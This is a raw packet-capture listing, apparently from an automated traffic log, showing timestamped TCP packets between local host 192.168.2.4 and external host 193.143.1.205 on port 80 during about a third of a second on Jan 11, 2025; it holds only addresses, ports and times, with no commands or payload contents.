Jan 11, 2025 03:41:59.903038979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.903063059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.903398037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.903609037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.903646946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.903714895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.903739929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.903781891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.903909922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.903922081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.903961897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.906958103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.919078112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.921521902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.921566963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.921577930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.921638012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.955401897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.968456030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.968482971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.968528032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.006146908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.006239891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.006249905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.006288052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.006387949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.006400108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.006431103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.006561041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.006597042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.023632050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.023665905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.023705006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.023711920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.023825884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.023838997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.023869991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.024005890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024050951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.024076939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024143934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024188995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.024229050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024240017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024280071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.024439096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024524927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024535894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024574995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.024739027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024780035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.024848938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024861097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.024900913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.025038958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.025181055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.025192022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.025203943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.025222063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.025244951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.025604010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.025700092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.025711060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.025758982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.025928020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.025939941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.025970936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.026149988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.026164055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.026191950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.026458979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.026499033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.026544094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.026556015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.026595116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.026762009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.026773930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.026784897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.026820898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.027085066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.027123928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.027350903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.027435064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.027446032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.027448893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.027470112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.027636051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.027681112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.027851105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.027863026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.027875900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.027899027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.028244972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.028283119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.028328896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.028342009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.028376102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.028553009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.028565884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.028573036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.028614044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.028873920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.028913021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.029230118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.029242039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.029253960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.029278994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.029428005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.029439926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.029450893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.029464006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.029475927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.029516935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.030071974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.030112982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.030167103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.030179024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.030190945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.030216932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.030417919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.030430079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.030458927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.030639887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.030678988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.031044006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.031188011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.031199932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.031235933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.031344891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.031356096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.031368017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.031379938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.031383038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.031407118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.031845093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.031866074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.031884909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.038561106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.055124044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.055175066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.055186987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.055210114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.055227041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.055329084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.055339098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.055382013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.088217974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.092716932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.092885017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.092902899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.092915058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.092926979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.092931032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.092953920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.093138933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.093149900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.093162060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.093174934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.093194008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.093242884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.093539953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.093550920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.093588114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.110450029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.110533953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.110539913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.110641956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.110712051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.110722065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.110732079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.110779047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.130654097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.130677938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.130748987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.130914927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.130966902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.130996943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.131009102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.131040096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.131221056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.131231070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.131241083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.131266117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.131511927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.131521940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.131532907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.131550074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.131567955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.150412083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150463104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150474072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150513887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.150597095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150607109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150635004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.150783062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150793076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150832891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.150934935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150945902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150955915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.150976896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.151010036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.151179075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151189089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151197910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151209116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151218891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151222944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.151230097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151251078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.151292086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.151624918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151635885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151647091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151664972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.151863098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151873112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151882887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151892900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.151904106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.151930094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.152210951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152240038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152245998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152251005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152256966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152261972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152267933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152272940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152453899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.152880907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152889967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152900934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152910948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152920961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.152920961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152931929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152944088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152945995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.152954102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152962923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152971029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.152975082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152987003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.152991056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.153013945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.153028011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.153757095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153769016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153779030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153789043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153800011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153801918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.153810024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153820038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153830051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153836966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.153840065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153851032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153858900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.153862000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153872013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.153896093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.153918982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.154727936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154740095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154748917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154762030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154771090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154773951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.154781103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154793024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154803038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154814005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.154814005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154825926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154834032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.154838085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154848099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.154875040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.154896975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.155695915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155706882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155716896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155728102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155738115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155745983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.155749083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155759096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155770063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155780077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155786991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.155790091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155801058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155805111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.155812025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.155829906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.155844927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.156544924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.156555891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.156565905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.156575918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.156586885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.156589985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.156600952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.156613111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.156636000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.156658888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.179478884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.179512978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.179522991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.179527998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.179574966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.179605007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.179617882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.179655075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.179718018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.179784060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.179825068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.179923058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.183765888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.197174072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197212934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197223902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197236061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.197263002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.197333097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197344065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197374105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.197480917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197550058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197583914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.197621107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197633028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197643042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197669029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.197848082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197860003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.197870016 CET	80	49730	193.143.1.205	192.168.2.4
